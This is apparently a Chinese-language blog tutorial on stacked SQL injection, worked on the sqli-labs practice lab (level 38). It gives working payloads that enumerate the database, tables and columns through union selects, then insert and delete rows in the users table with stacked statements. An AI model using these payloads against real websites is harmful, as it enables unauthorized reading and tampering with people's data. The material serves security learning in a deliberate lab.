SQL注入-堆叠注入

发布于:2023-01-17 ⋅ 阅读:(472) ⋅ 点赞:(0)

SQL注入-堆叠注入

原理:

数据库支持堆叠查询,所谓堆叠查询就是执行多条语句,语句以;隔开。

image-20220815162101721

并且代码使用了支持堆叠查询的函数,列如PHP的mysqli_multi_query()

image-20220815162511956

堆叠注入就是在第二条语句中构造payload,注:页面只返回第一条语句,不返回第二条语句。

堆叠注入后果很严重,可以直接对数据库增删改。

判断注入点

环境:sqli-labs第38关。

输入?id=1' and '1?id=1' and '0,页面发生改变,存在注入,字符类型。

image-20220815164750192

image-20220815164808412

联合注入查询库,表 ,字段

判断回显的字段数,可以用order by也可以直接?id=-1' union select 1,2,3 --+测试,多了就加少了就减,最终结果为3个:image-20220815165417923

在2的位置显示数据库,3的位置显示用户名:

payload:?id=-1' union select 1,database(),user() --+:

image-20220815165522712

得出数据库名称为security后,我们查询该数据库中的表?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user() --+

image-20220815165920701

知道表之后我们查询users表中的字段?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),user() --+image-20220815170146203

好,我们知道了users表中存在id,username,password字段。

堆叠注入的利用

上面我们知道了users表中的字段,下面我们利用堆叠注入往表中插入数据:?id=-1';insert into users(id,username,password) value(99,'wwwcn','123456'); --+:image-20220815170740267

发现没有回显,因为堆叠注入只在页面回显第一条,我们输入?id=99查看一下有没有插入进来:image-20220815171007971

可以发现我们已经成功往数据库中插入数据。

接着我们尝试删除这条数据?id=-1';delete from users where id=99 --+

image-20220815171507536

我们在输入?id=99检验一下是否删除:

image-20220815171636939

没有任何数据,说明已经被删除了。

总:

堆叠注入很少见到,但危害性极大。

本文含有隐藏内容,请 开通VIP 后查看

网站公告

今日签到

点亮在社区的每一天
去签到